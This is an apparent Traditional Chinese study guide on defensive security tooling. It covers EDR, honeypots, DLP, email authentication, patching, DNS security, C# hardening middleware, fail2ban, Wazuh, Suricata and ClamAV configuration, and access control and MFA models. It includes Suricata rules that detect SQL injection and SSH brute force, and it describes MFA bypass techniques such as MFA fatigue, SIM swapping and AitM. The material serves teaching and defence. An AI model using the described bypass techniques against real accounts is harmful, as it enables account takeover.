現代 Linux EDR 工具（如 Falco、Tetragon、CrowdStrike Falcon on Linux）大量採用 eBPF 作為資料採集層，取代過去需要載入核心模組的做法，原因是 eBPF 兼顧「低開銷、高可見性、不影響系統穩定性」三點。eBPF 使 EDR 能在核心層追蹤 exec、open、connect 等系統呼叫，比使用者態的 auditd 延遲更低。

欺騙防禦技術（Deception Technology）

技術	英文	說明
蜜罐	Honeypot	模擬單一易受攻擊的系統（如假的 SSH Server、假資料庫），引誘攻擊者互動，藉此收集攻擊手法與 IOC。
蜜網	Honeynet	由多個 Honeypot 組成的模擬網路環境，可觀察攻擊者在網路內的橫向移動行為。
Honey Token	—	假的帳號、API Key、文件或 DNS 記錄，一旦被存取或使用即觸發告警。
Deception Platform	—	企業級欺騙防禦平台（如 Attivo Networks、Illusive Networks），自動在整個網路中部署誘餌（Decoy），並與 SIEM/SOAR 整合告警。

Honeypot 分類

• 低互動（Low-interaction）：僅模擬服務回應（如 Honeyd），部署簡單但收集的情報有限。
• 高互動（High-interaction）：提供真實作業系統與服務環境，可深度觀察攻擊者行為，但風險較高（可能被利用為跳板）。
• Honeypot 的定位是情報收集與延滯攻擊者，不是主動阻擋；主動攔截依賴防火牆與 IPS。把 Honeypot 當成防線是誤用，它的核心價值在於讓防守方「看見攻擊者怎麼動」。

沙箱技術應用（Sandboxing）

常見資安防禦技術對照表中已列出 Sandbox 的通用概念，以下補充各層級實作。

沙箱類型	說明	實例
瀏覽器沙箱	將網頁渲染引擎與外掛程式限制在隔離的程序中，即使被 Exploit 也無法存取作業系統資源。	Chromium 多程序架構、Firefox Fission
應用程式沙箱	作業系統層級限制應用程式的檔案系統、網路、IPC 存取範圍。	macOS App Sandbox、Windows AppContainer、Linux Flatpak/Snap
惡意程式分析沙箱	在受控的虛擬環境中執行可疑檔案，觀察其行為（檔案操作、網路連線、Registry 修改）。	Cuckoo Sandbox（開源）、Joe Sandbox、ANY.RUN
容器沙箱	利用 Linux Namespace 與 cgroup 隔離程序資源，搭配 Seccomp 限制系統呼叫。	Docker、gVisor（User-space Kernel）、Kata Containers（Micro VM）

DLP（Data Loss Prevention，資料外洩防護）

DLP 透過偵測機制識別敏感資料，並依部署位置控管資料流向。

常見偵測機制

偵測機制	原理	典型範例
關鍵字 / 正則表達式比對	比對文字模式，觸發預設規則	偵測「機密」、信用卡號格式 \d{4}-\d{4}-\d{4}-\d{4}
指紋比對（Data Fingerprinting）	對機密文件計算指紋雜湊，偵測部分或完整複製	合約、原始碼、設計圖等結構化文件外洩偵測
機器學習分類	訓練模型自動識別敏感內容類別	自動標記含個資的非結構化文件

部署類型

DLP 類型	監控位置	防護場景
端點 DLP（Endpoint DLP）	使用者設備上的檔案操作、剪貼簿、USB、列印	阻止員工將機密檔案複製到 USB 隨身碟或上傳至個人雲端硬碟。
網路 DLP（Network DLP）	網路閘道的 Email、HTTP/HTTPS、FTP 流量	偵測並攔截透過 Email 附件或 Web 上傳外洩的敏感資料。
雲端 DLP（Cloud DLP）	SaaS 應用程式（如 Microsoft 365、Google Workspace）中的檔案與訊息	掃描雲端儲存中的敏感資料（如身分證字號、信用卡號），套用分類標籤與加密。

DLP 部署注意事項

• DLP 需先與資料分類（Data Classification）搭配，明確定義各敏感等級對應的偵測規則，才能有效運作。
• 網路 DLP 對加密傳輸（HTTPS）的內容無法直接檢查，需搭配 SSL/TLS 解密才能進行內容掃描。

郵件安全閘道與反垃圾郵件（Email Security Gateway / Anti-Spam）

Email Security Gateway 部署於郵件伺服器前端，針對不同威脅層次提供多道防護。

防護層	技術	說明
連線層	SPF / DKIM / DMARC	驗證寄件者身分，防止 Email Spoofing。
內容層	Anti-Spam Filter	貝氏過濾器（Bayesian Filter）、關鍵字規則、寄件者信譽評分，過濾垃圾郵件。
威脅層	Anti-Malware / Sandboxing	掃描附件中的惡意程式，可疑檔案送入沙箱引爆分析。
連結層	URL Rewriting / Time-of-Click Protection	將郵件中的 URL 改寫為安全閘道連結，使用者點擊時即時掃描目標網頁是否為釣魚或惡意網站。

SPF / DKIM / DMARC 三道技術組合，構成郵件寄件者身分驗證的完整防線：

技術	全名	驗證方式	作用
SPF	Sender Policy Framework（寄件者政策框架）	DNS TXT 記錄列出授權的 IP 清單，收信端驗證來源 IP 是否在清單內	防止偽造來源 IP 傳送郵件
DKIM	DomainKeys Identified Mail（網域金鑰識別郵件）	寄件端對郵件標頭與內容加上數位簽章，收信端用 DNS 上的公鑰驗章	確保郵件未遭竄改，且確實由宣稱的網域寄出
DMARC	Domain-based Message Authentication, Reporting and Conformance（網域型郵件驗證、報告與符合性）	定義 SPF / DKIM 驗證失敗時的處理政策（none / quarantine / reject），並提供報告機制	整合 SPF 與 DKIM 的結果，統一決策並可接收違規報告

SPF、DKIM 與 DMARC 的分工

• SPF 只驗來源 IP，DKIM 只驗簽章，兩者各自獨立。DMARC 是整合層，定義「若 SPF 或 DKIM 失敗，郵件怎麼處理」。
• 三者都依賴 DNS 記錄，需在寄件網域的 DNS 設定對應的 TXT 記錄才能生效。

Patch Management（修補管理）

階段	活動	說明
1. 盤點（Inventory）	資產清點	建立完整的軟硬體清冊，確認每個系統的版本與修補狀態。
2. 評估（Assess）	弱點掃描 + 嚴重性分級	依 CVSS 評分與業務影響度排定修補優先序。
3. 測試（Test）	於測試環境驗證	確認修補程式不會造成相容性問題或服務中斷。
4. 部署（Deploy）	分批推送	先導群組（Pilot）→ 全面部署。使用 WSUS、SCCM、Ansible 等工具自動化。
5. 驗證（Verify）	確認套用狀態	重新掃描確認漏洞已修補，記錄例外（無法修補的系統需補償控制）。

修補管理注意事項

• 緊急修補（Emergency Patch）：CVSS 9.0+ 或已有公開 Exploit 的漏洞，應縮短測試週期，優先部署。
• 虛擬修補（Virtual Patching）：在正式修補前，透過 WAF / IPS 規則先行阻擋已知漏洞的攻擊流量。
• 修補延遲的風險：根據統計，多數資安事件利用的是已公開超過 30 天的已知漏洞，並非 Zero-day。

MTTP（Mean Time To Patch，平均修補時間）

衡量組織從漏洞披露（CVE 公告 / 廠商揭露）到完成修補部署的平均時間，是弱點與修補管理的關鍵 KPI。

風險等級	業界建議 MTTP
CVSS 9.0+（Critical）	< 7 天
CVSS 7.0–8.9（High）	< 30 天
CVSS 4.0–6.9（Medium）	< 90 天
CVSS < 4.0（Low）	依排程處理

• 與事件回應指標的區別：MTTD / MTTA / MTTR 衡量「事件發生後」的偵測與回應速度；MTTP 衡量「事件發生前」的預防修補速度，兩者是不同階段的指標。
• 降低 MTTP 的關鍵：自動化掃描（如 Tenable、Qualys）、修補測試環境標準化、緊急修補流程（Emergency Change Process）跳過部分審查環節。
• 與 SLA 連動：成熟組織會將 MTTP 寫入內部 SLA 或合規要求（如 PCI-DSS 要求 Critical 漏洞 30 天內修補）。

Windows / Linux 修補盤點與更新指令

# Windows：查看已安裝的 Hotfix
Get-HotFix

# Windows：查看最近安裝的修補
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

# Debian / Ubuntu：同步套件索引並查看可更新套件
sudo apt update
apt list --upgradable
sudo apt upgrade

# RHEL / Rocky / AlmaLinux：查看可更新套件與安全性公告
sudo dnf check-update
sudo dnf updateinfo list security
sudo dnf upgrade --security

• Windows 端常見做法是先用 Get-HotFix 盤點現況，再交由 WSUS、SCCM、Intune 或企業流程推送更新。
• apt list --upgradable 適合盤點，apt upgrade 才是實際升級。
• dnf updateinfo list security 可先看安全性公告，dnf upgrade --security 代表只套用安全修補。

威脅情報平台（Threat Intelligence Platform, TIP）

面向	說明
定義	集中管理、分析與分享威脅情報的平台，將 IOC、TTPs（Tactics, Techniques, and Procedures）、漏洞資訊整合為可行動的情報。
情報來源	OSINT（開源情報）、商業情報訂閱（如 Recorded Future、Mandiant）、ISAC（Information Sharing and Analysis Center，資安資訊分享與分析中心）、自有蜜罐收集。
核心功能	IOC 管理與生命週期追蹤、情報關聯分析、與 SIEM/SOAR/EDR 整合自動阻擋、STIX/TAXII 標準化格式交換。
代表產品	MISP（開源）、ThreatConnect、Anomali ThreatStream。

UEBA（User and Entity Behavior Analytics，使用者與實體行為分析）

面向	說明
核心原理	透過機器學習建立使用者與設備的正常行為基線（Baseline），偏離基線即產生風險評分。
偵測場景	內部威脅（Insider Threat）：異常的大量資料下載、非工作時段登入。帳號被盜用：同一帳號短時間內從不同地理位置登入。橫向移動：某帳號突然存取從未碰過的系統。
與 SIEM 差異	SIEM 依規則告警（Rule-based），UEBA 依行為基線偏移告警（Baseline-based），更擅長偵測「合法帳號做異常事」。
代表產品	Microsoft Sentinel UEBA、Exabeam、Splunk UBA。

NTA（Network Traffic Analysis，網路流量分析）

面向	說明
定義	對網路流量進行深度分析，偵測異常模式（如 C2 Beaconing、資料外洩、橫向移動）。
與 IDS/IPS 差異	IDS/IPS 以簽章比對為主，NTA 著重流量統計與行為分析，可偵測加密流量中的異常模式（不需解密）。
核心技術	NetFlow / sFlow 分析、封包 Metadata 分析、機器學習建立流量基線。
代表產品	Darktrace、Vectra AI、Cisco Secure Network Analytics。

Secure DNS（安全 DNS）

協定	全名	傳輸方式	預設 Port	說明
DoH	DNS over HTTPS	將 DNS 查詢封裝在 HTTPS 請求中	443	與一般 HTTPS 流量混合，難以被中間人辨識或封鎖 DNS 查詢。
DoT	DNS over TLS	使用 TLS 加密 DNS 查詢	853	使用獨立 Port，較易被防火牆識別與管控。

DoH 與 DoT 的偵測差異

• DoT：使用專用 Port 853，防火牆只需封鎖或監控該 Port 即可識別與管控，偵測門檻低。
• DoH：使用 Port 443，與一般 HTTPS 共用，外觀無法與正常網頁請求區分；即使 DPI（深層封包檢測），TLS 加密也擋住內容，無法直接看出是 DNS 查詢。
• 偵測 DoH 的常用手段：追蹤已知 DoH 供應商的 IP / 網域（如 1.1.1.1、8.8.8.8），或透過行為分析（固定頻率的小型 HTTPS 請求）間接識別。攻擊者若架設自己的 DoH 伺服器，上述方法均會失效。
• 惡意程式因此偏好用 DoH 進行 C2 通訊或 DNS Tunneling，流量混在正常 HTTPS 中，較難被資安設備發現。

DNS 在資安防禦中的角色

• DNS Sinkhole：將已知惡意網域的 DNS 解析導向無害 IP（如 127.0.0.1），阻止惡意程式連線至 C2 伺服器。
• DNS Filtering：透過 DNS 層過濾惡意或不當網站（如 Cisco Umbrella、Quad9）。
• 傳統 DNS（Port 53）以明文傳輸，容易被竊聽或竄改（DNS Spoofing），DoH/DoT 可解決此問題。

Linux / Windows 防禦工具對照表

防禦類別	Linux 工具	Windows 工具	說明
主機防火牆	iptables / nftables	Windows Defender Firewall	Linux 透過 Netfilter 框架實作封包過濾；Windows 透過 WFP（Windows Filtering Platform）底層框架實作，上層即 Windows Defender Firewall。nftables 是 iptables 的後繼者，語法統一且效能更佳。
端點防護	ClamAV（Anti-Virus）/ OSSEC（HIDS）	Windows Defender Antivirus / AMSI	ClamAV 為開源防毒引擎，適合 Mail Gateway 掃描。AMSI（Antimalware Scan Interface）讓腳本引擎（PowerShell、VBScript）將內容送交防毒引擎檢查。
日誌集中	rsyslog / journald → 轉送至 SIEM	Windows Event Forwarding（WEF）→ 轉送至 SIEM	rsyslog 支援 TCP/TLS 轉送；WEF 透過 WinRM 將事件日誌集中至 Collector。
漏洞掃描	OpenVAS（Greenbone）/ Nessus	Nessus / MBSA（已停止更新）	OpenVAS 為 Greenbone 維護的開源弱點掃描器。MBSA（Microsoft Baseline Security Analyzer）已於 2018 年停止更新，建議改用 Microsoft Defender Vulnerability Management。
入侵偵測	Snort / Suricata / OSSEC	Windows Defender for Endpoint（EDR）	Snort/Suricata 為網路型 IDS/IPS；OSSEC/Wazuh 為主機型 HIDS。
檔案完整性監控	AIDE / Tripwire / OSSEC Syscheck	Windows FIM（Azure Defender）	監控關鍵系統檔案的雜湊值變化，偵測未授權修改。
暴力破解防護	fail2ban / DenyHosts	Account Lockout Policy（GPO）	fail2ban 監控日誌並自動封鎖來源 IP；Windows 透過群組原則設定帳戶鎖定閾值。

常見防禦工具檢查指令

# Windows：查看防火牆各 Profile 狀態
netsh advfirewall show allprofiles

# Windows：查看 Microsoft Defender 目前狀態
Get-MpComputerStatus

# Windows：更新 Defender 簽章並執行快速掃描
Update-MpSignature
Start-MpScan -ScanType QuickScan

• Linux 的 iptables / nftables 規則檢視與持久化，統一放在前面的 iptables / nftables 防火牆規則範例 區塊，避免同一組指令在不同章節重複出現。
• Get-MpComputerStatus 可檢查 Defender 是否啟用、簽章是否過期。
• Update-MpSignature 與 Start-MpScan -ScanType QuickScan 很適合做基本健康檢查。

跨平台資安機制對照表

功能	用途	Windows	Linux
稽核/日誌	記錄系統事件供事後追查與鑑識	Event Log（系統/應用程式事件日誌） Sysmon（進階行為監控，可記錄程序建立、網路連線）	Syslog（傳統 Unix 系統日誌協定） journald（systemd 結構化日誌，支援查詢過濾） auditd（核心層系統呼叫稽核）
存取控制	控制使用者或程式可存取的資源範圍	NTFS ACL（檔案層級細粒度權限） GPO（集中套用群組原則）	rwx（Unix 傳統三層權限） POSIX ACL（突破 rwx 三層限制，可對特定使用者或群組單獨設定權限） SELinux / AppArmor（強制存取控制層）
防火牆	過濾進出網路流量，阻擋未授權連線	Windows Defender Firewall（內建主機防火牆）	iptables（傳統核心封包過濾） nftables（新一代替代方案） firewalld（動態管理介面，支援 zone）
安全基準	提供系統安全設定的標準檢查清單	Security Baseline（Microsoft 官方基準設定） GPO（套用機制）	CIS Benchmark（跨平台安全設定基準） OpenSCAP（自動化合規掃描） Lynis（本機安全稽核工具）
強制存取控制	在傳統權限之上強制限制程式存取行為，即使取得高權限也受約束	Mandatory Integrity Control（MIC）（依完整性等級限制程式間存取）	SELinux（基於政策的強制存取，Red Hat 系預設） AppArmor（基於路徑的設定檔管控，Ubuntu 系預設）
應用程式白名單	只允許核准的程式執行，阻止未知或惡意程式	AppLocker（規則型白名單） WDAC（核心層強制，較難繞過）	fapolicyd（基於規則的應用程式執行控制）

Linux 檔案權限設定指令

# 查看權限
ls -la /etc/passwd

# 設定權限：擁有者讀寫、群組讀、其他無權限
chmod 640 sensitive.conf

# 變更擁有者與群組
chown root:admin sensitive.conf

# 查看 POSIX ACL
getfacl /etc/shadow

縱深防禦架構（Defense in Depth）

縱深防禦 vs 零信任

• 縱深防禦（Defense in Depth） 強調多層防護，即使某一層被突破，仍有其他層防線。
• 零信任（Zero Trust） 強調「永不信任，持續驗證」，假設任何位置都可能被入侵。
• 兩者互補：縱深防禦提供結構化的分層框架，零信任提供存取控制的核心原則。在 SSDLC 與 DevSecOps 流程中，安全應從設計階段即融入每一層。

C# 安全防護實作範例

Content Security Policy（CSP）Header 設定

// Program.cs — ASP.NET Core Middleware 設定 CSP Header
WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
WebApplication app = builder.Build();

app.Use(async (context, next) => {
    context.Response.Headers.Append(
        "Content-Security-Policy",
        "default-src 'self'; "
        + "script-src 'self'; "
        + "style-src 'self' 'unsafe-inline'; "
        + "img-src 'self' data:; "
        + "font-src 'self'; "
        + "connect-src 'self'; "
        + "frame-ancestors 'none'; "
        + "base-uri 'self'; "
        + "form-action 'self'"
    );

    // 同時設定其他安全 Header
    context.Response.Headers.Append("X-Content-Type-Options", "nosniff");
    context.Response.Headers.Append("X-Frame-Options", "DENY");
    context.Response.Headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");

    await next();
});

app.MapGet("/", () => "Hello, Secure World!");
app.Run();

Rate Limiting Middleware（.NET 7+ 內建）

using System.Threading.RateLimiting;
using Microsoft.AspNetCore.RateLimiting;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);

// 註冊 Rate Limiter 服務
builder.Services.AddRateLimiter(options => {
    // Fixed Window：每 60 秒最多 100 次請求
    options.AddFixedWindowLimiter("fixed", config => {
        config.PermitLimit = 100;
        config.Window = TimeSpan.FromSeconds(60);
        config.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
        config.QueueLimit = 10;
    });

    // Sliding Window：更平滑的流量控制
    options.AddSlidingWindowLimiter("sliding", config => {
        config.PermitLimit = 100;
        config.Window = TimeSpan.FromSeconds(60);
        config.SegmentsPerWindow = 6; // 每 10 秒一個區段
        config.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
        config.QueueLimit = 10;
    });

    // 全域被拒絕時的回應
    options.RejectionStatusCode = StatusCodes.Status429TooManyRequests;
    options.OnRejected = async (context, cancellationToken) => {
        context.HttpContext.Response.ContentType = "application/json";
        await context.HttpContext.Response.WriteAsync(
            """{"error": "Too many requests. Please try again later."}""",
            cancellationToken
        );
    };
});

WebApplication app = builder.Build();
app.UseRateLimiter();

// 對特定端點套用 Rate Limiter
app.MapGet("/api/data", () => Results.Ok(new { Message = "OK" }))
    .RequireRateLimiting("fixed");

app.Run();

IP Whitelist / Blacklist Middleware

using System.Net;
using Microsoft.Extensions.Options;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);

// 從設定檔讀取允許的 IP 清單
builder.Services.Configure<IpFilterOptions>(
    builder.Configuration.GetSection("IpFilter")
);

WebApplication app = builder.Build();
app.UseMiddleware<IpFilterMiddleware>();
app.MapGet("/", () => "Access granted.");
app.Run();

/// <summary>
/// IP 過濾設定選項。
/// </summary>
public class IpFilterOptions {
    /// <summary>
    /// Gets or sets the whitelist of allowed IP addresses.
    /// </summary>
    public List<string> Whitelist { get; set; } = [];

    /// <summary>
    /// Gets or sets the blacklist of blocked IP addresses.
    /// </summary>
    public List<string> Blacklist { get; set; } = [];
}

/// <summary>
/// Filters requests based on client IP against whitelist and blacklist.
/// </summary>
public class IpFilterMiddleware {
    private readonly RequestDelegate next;
    private readonly IpFilterOptions options;
    private readonly ILogger<IpFilterMiddleware> logger;

    /// <summary>
    /// Initializes a new instance of the <see cref="IpFilterMiddleware"/> class.
    /// </summary>
    public IpFilterMiddleware(
        RequestDelegate next,
        IOptions<IpFilterOptions> options,
        ILogger<IpFilterMiddleware> logger
    ) {
        this.next = next;
        this.options = options.Value;
        this.logger = logger;
    }

    /// <summary>
    /// Processes the HTTP request and applies IP filtering.
    /// </summary>
    public async Task InvokeAsync(HttpContext context) {
        IPAddress? remoteIp = context.Connection.RemoteIpAddress;

        if (remoteIp is null) {
            context.Response.StatusCode = StatusCodes.Status403Forbidden;
            return;
        }

        string clientIp = remoteIp.MapToIPv4().ToString();

        // Blacklist 優先：若在黑名單中直接拒絕
        if (options.Blacklist.Contains(clientIp)) {
            logger.LogWarning("Blocked request from blacklisted IP: {ClientIp}", clientIp);
            context.Response.StatusCode = StatusCodes.Status403Forbidden;
            await context.Response.WriteAsync("Access denied.");
            return;
        }

        // 若 Whitelist 有設定且 IP 不在白名單中，拒絕
        if (options.Whitelist.Count > 0 && !options.Whitelist.Contains(clientIp)) {
            logger.LogWarning("Blocked request from non-whitelisted IP: {ClientIp}", clientIp);
            context.Response.StatusCode = StatusCodes.Status403Forbidden;
            await context.Response.WriteAsync("Access denied.");
            return;
        }

        await next(context);
    }
}

appsettings.json 設定範例：

{
  "IpFilter": {
    "Whitelist": ["127.0.0.1", "192.168.1.100"],
    "Blacklist": ["10.0.0.99"]
  }
}

防禦工具設定範例（Linux）

fail2ban 設定範例（SSH 暴力破解防護）

# 安裝 fail2ban（Debian/Ubuntu）
sudo apt-get install -y fail2ban

# 建立本機設定（不直接修改 jail.conf）
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

# /etc/fail2ban/jail.local — SSH 防護設定
[sshd]
enabled  = true
port     = ssh
filter   = sshd
logpath  = /var/log/auth.log
maxretry = 5
findtime = 600
bantime  = 3600
action   = iptables-multiport[name=sshd, port="ssh", protocol=tcp]

# 啟動並檢視狀態
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
sudo fail2ban-client status sshd

• maxretry：允許的最大失敗次數。
• findtime：在此時間窗口（秒）內達到 maxretry 即觸發封鎖。
• bantime：封鎖持續時間（秒）。
• 官方文件：
  • Fail2Ban 專案：https://github.com/fail2ban/fail2ban
  • Fail2Ban 網站：https://www.fail2ban.org

OSSEC / Wazuh Agent 安裝指令

# Wazuh Agent 安裝（Debian/Ubuntu）— Wazuh 是 OSSEC 的活躍分支
# 若系統尚未安裝所需套件，先補齊
sudo apt-get install -y gnupg apt-transport-https

# 匯入官方 GPG Key
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \
  gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
sudo chmod 644 /usr/share/keyrings/wazuh.gpg

# 加入官方套件來源
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] \
  https://packages.wazuh.com/4.x/apt/ stable main" | \
  sudo tee /etc/apt/sources.list.d/wazuh.list

sudo apt-get update

# 安裝並在安裝時指定 Wazuh Manager 位址
sudo env WAZUH_MANAGER="192.168.1.10" apt-get install -y wazuh-agent

# 啟動 Agent
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

• 官方安裝文件：https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-linux.html

Snort / Suricata 規則範例

# Suricata 安裝（Debian/Ubuntu）
sudo apt-get install -y suricata

# 啟用社群規則
sudo suricata-update

# /etc/suricata/suricata.yaml（關鍵設定節錄）
af-packet:
  - interface: eth0
    cluster-id: 99
    cluster-type: cluster_flow

default-rule-path: /var/lib/suricata/rules
rule-files:
  - suricata.rules

# 自訂規則範例（/var/lib/suricata/rules/local.rules）

# 偵測 SQL Injection 嘗試
alert http any any -> $HOME_NET any ( \
  msg:"Possible SQL Injection attempt"; \
  flow:to_server,established; \
  content:"UNION"; nocase; \
  content:"SELECT"; nocase; \
  sid:1000001; rev:1; \
)

# 偵測 SSH 暴力破解
alert ssh any any -> $HOME_NET 22 ( \
  msg:"SSH brute force attempt"; \
  flow:to_server; \
  threshold:type both, track by_src, count 5, seconds 60; \
  sid:1000002; rev:1; \
)

• 官方文件：https://docs.suricata.io/en/latest/quickstart.html

ClamAV 掃描指令

# 安裝 ClamAV（Debian/Ubuntu）
sudo apt-get install -y clamav clamav-daemon

# 更新病毒碼資料庫
sudo systemctl stop clamav-freshclam
sudo freshclam
sudo systemctl start clamav-freshclam

# 掃描指定目錄（僅報告不刪除）
clamscan -r /home --log=/var/log/clamav/scan.log

# 掃描並移除感染檔案
clamscan -r /home --remove --log=/var/log/clamav/scan.log

# 掃描並隔離感染檔案至指定目錄
clamscan -r /home --move=/var/quarantine --log=/var/log/clamav/scan.log

# 排程掃描（加入 crontab）：每天凌晨 2 點全系統掃描
# 0 2 * * * clamscan -r / --exclude-dir="^/sys|^/proc|^/dev" \
#   --log=/var/log/clamav/daily.log

• 官方文件：
  • 安裝：https://docs.clamav.net/manual/Installing.html
  • 使用：https://docs.clamav.net/manual/Usage.html

身分與存取

存取控制模型對照表

模型	全名	控制權歸屬	授權邏輯	典型應用場景
DAC	自主存取控制（Discretionary Access Control）	資源擁有者	擁有者自行決定誰可存取，可自由授予或撤銷他人的存取權	Windows NTFS 檔案權限、Linux chmod
MAC	強制存取控制（Mandatory Access Control）	系統/管理員	依資料密級（如絕密/機密/敏感）與使用者授權等級強制比對，擁有者無法自行調整	軍事、政府機密系統
RBAC	角色型存取控制（Role-Based Access Control）	角色定義	使用者被指派至角色，角色對應一組預設權限	企業 ERP、雲端 IAM（Identity and Access Management，身分識別與存取管理，如 AWS IAM Role）
ABAC	屬性型存取控制（Attribute-Based Access Control）	動態策略	依使用者屬性、資源屬性、環境屬性（如時間、地點）組合計算授權結果	零信任架構、細粒度 API 存取控制
CBAC	宣告型存取控制（Claim-Based Access Control）	可信任的身分提供者（IdP）	依 Token（如 JWT）中的宣告（Claim）決定授權；系統不直接管理角色，由外部 IdP 發宣告，授權邏輯與身分驗證解耦	Azure AD、SAML 聯合身分、OIDC 跨組織登入
ReBAC	關係型存取控制（Relationship-Based Access Control）	主體與資源的關係	依使用者與資源之間的關係（擁有者、成員、檢視者）決定授權	文件共享、社群平台（如 Google Drive 共享、SpiceDB）

授權決策來源圖

各存取控制模型的核心概念

• DAC = 「我擁有這個資料夾，我自己決定誰能讀。」
• MAC = 「不管你是不是擁有者，你的等級不夠就是不行。」（系統說了算）
• RBAC = 「你的職位是會計，系統給你會計角色的權限。」
• ABAC = 「你是台灣員工 + 工作時間 + 公司網路 → 允許；其中一個條件不符 → 拒絕。」
• CBAC = 「你的 JWT Token 裡有 role=admin 這個宣告，IdP 說你有，系統就信。」（系統不自己維護角色對應表）
• 彈性遞增（誰能改、怎麼改）：DAC（擁有者自改）< RBAC（需重配角色）< ABAC（條件組合最靈活）。
• 安全強制性（能不能繞過）：MAC > DAC — MAC 由系統強制，擁有者無法自行把存取權委派出去；DAC 的擁有者可以。
• 業界實務：Windows AD 使用 RBAC（依群組授權）；AWS IAM 使用 ABAC（依標籤屬性授權）；Linux 檔案系統使用 DAC（檔案擁有者自行設定 rwx 權限）。
• 最小權限原則（Least Privilege） 業界實踐：資料庫帳號依應用程式需求只給 SELECT/INSERT，不給 DELETE/DROP；CI/CD Pipeline 的部署帳號只有特定 Kubernetes namespace 的部署權限。

RBAC / ABAC / ReBAC 的維護成本

三者的授權依據與適用場景見上方對照表，差異主要落在維護成本：

模型	維護成本	主要考量
RBAC	低→中	角色數量穩定時成本低；組織龐大時易發生角色爆炸
ABAC	中→高	策略以多屬性組合撰寫，複雜度隨條件增加而上升
ReBAC	中	關係模型直觀，但關係圖的查詢效能需特別注意

• 角色爆炸（Role Explosion）：RBAC 在大型組織中，每個部門 × 每個系統 × 每個環境（開發/測試/正式）的排列組合，可能產生數千個角色，維護困難。ABAC 或 ReBAC 可緩解此問題。
• ReBAC 的核心概念源自 Google 的 Zanzibar 論文（2019），被 Google Drive、YouTube 等用於大規模權限管理。

最小權限原則常見違反模式

違反模式	說明	修正方式
萬用帳號（God Account）	開發/維運共用一組具有完整管理員權限的帳號	依職責拆分帳號，搭配 PAM 管控特權帳號。
權限只加不減	員工轉調部門後，舊權限未撤銷，累積超額權限（Permission Creep）	定期執行存取權覆核（Access Review / Recertification）。
過寬的 IAM Policy	雲端 IAM 使用 *（萬用字元）授予所有資源或動作的權限	明確列出所需的 Actions 與 Resources，使用 Policy Analyzer 工具檢測過寬權限。
共用服務帳號	多個應用程式共用同一個服務帳號，無法區分操作來源	每個應用程式配發獨立的 Service Account（詳見服務帳號管理）。
永久性存取權	管理員帳號 7×24 持有高權限，即使大部分時間不需要	採用 JIT（Just-in-Time）存取，需要時才申請，用完即撤銷。

Bell-LaPadula 與 Biba 安全模型

這兩個模型是 MAC（強制存取控制）的理論基礎，針對不同安全屬性制定讀寫規則：

模型	保護目標	規則縮寫	規則說明
Bell-LaPadula	機密性	NRU（No Read Up）	不可讀取高於自身等級的資料，防止機密資訊向下洩漏
Bell-LaPadula	機密性	NWD（No Write Down）	不可將資料寫入低等級區域，防止高等級使用者將機密降格寫出
Biba	完整性	NRD（No Read Down）	不可讀取低於自身等級的資料，避免被不可靠來源污染
Biba	完整性	NWU（No Write Up）	不可寫入高於自身等級的區域，防止低信任資料污染高信任區

Bell-LaPadula 與 Biba 禁止方向圖

虛線代表禁止的讀寫方向。

Bell-LaPadula 與 Biba 的對比

• Bell-LaPadula 是軍事機密分類的理論基礎（如 Unclassified / Confidential / Secret / Top Secret）。
• Bell-LaPadula 與 Biba 的讀寫規則方向恰好相反，因為保護目標不同（機密性 vs 完整性）。
• 兩者可互補：同時實施可兼顧機密性與完整性，但實務中完整實施的成本極高。

認證因素類型對照表

因素類型	說明	常見範例
知識因素（Something You Know）	使用者記在腦中的秘密	密碼、PIN、安全問題答案
持有因素（Something You Have）	使用者持有的實體或數位物件	OTP（One-Time Password，一次性密碼）硬體 Token、手機 Authenticator App、智慧卡
生物因素（Something You Are）	使用者的生理或行為特徵	指紋、臉部辨識、虹膜、聲紋
位置因素（Somewhere You Are）	使用者的地理位置或網路環境	IP 範圍限制、地理圍欄（Geo-fencing）

MFA 與 2FA 的差異

• MFA（多因素驗證）= 同時使用 2 個以上不同類型的因素。
• 同類不算：輸入密碼 + 回答安全問題 = 都屬知識因素 = 不算 MFA。
• 2FA ⊂ MFA，2FA 是只使用 2 個因素的特定情況。

自適應認證（Adaptive Authentication）

又稱 Risk-based Authentication（風險型認證），根據登入情境的風險等級動態調整認證要求：

風險信號	低風險行為	高風險行為
地理位置	從常用地點登入	從未曾登入過的國家登入
設備	從已註冊的裝置登入	從全新裝置登入
時間	在正常工作時段登入	凌晨 3 點登入
行為模式	存取平常使用的系統	短時間大量下載敏感資料
網路	從企業網路登入	從已知惡意 IP 或 Tor 出口節點登入

運作邏輯：

• 低風險 → 僅需密碼（或免密碼）。
• 中風險 → 觸發 MFA（如推播通知）。
• 高風險 → 強制 MFA + 管理員審核，或直接封鎖。

MFA Bypass 攻擊與防範

攻擊手法	中文	說明	防範措施
MFA Fatigue	MFA 疲勞攻擊	攻擊者取得密碼後，反覆觸發 MFA 推播通知，誘使使用者誤按「允許」	使用 Number Matching（要求使用者輸入畫面上顯示的數字）取代簡單的推播允許/拒絕。
SIM Swapping	—	攻擊者冒充受害者向電信商申請 SIM 卡補發，接管 SMS OTP	避免以 SMS 作為唯一 MFA 因素，改用 Authenticator App 或 FIDO2。
Adversary-in-the-Middle（AitM）	—	攻擊者架設釣魚網站充當反向代理，即時轉發使用者的 MFA 回應給真實網站	使用 FIDO2/WebAuthn（憑證綁定 RP ID / Origin，抗釣魚）；若另需強化 OAuth Token 防重放，可採 DPoP 或 mTLS。
Session Hijacking	Session 劫持	攻擊者不繞過 MFA 本身，而是在 MFA 通過後竊取 Session Token	實施嚴格的 Session Management（詳見 Session 管理安全）。
Social Engineering	—	透過電話/訊息假冒 IT 人員，騙取 OTP 碼	安全意識訓練，強調「IT 人員不會主動索取 OTP」。

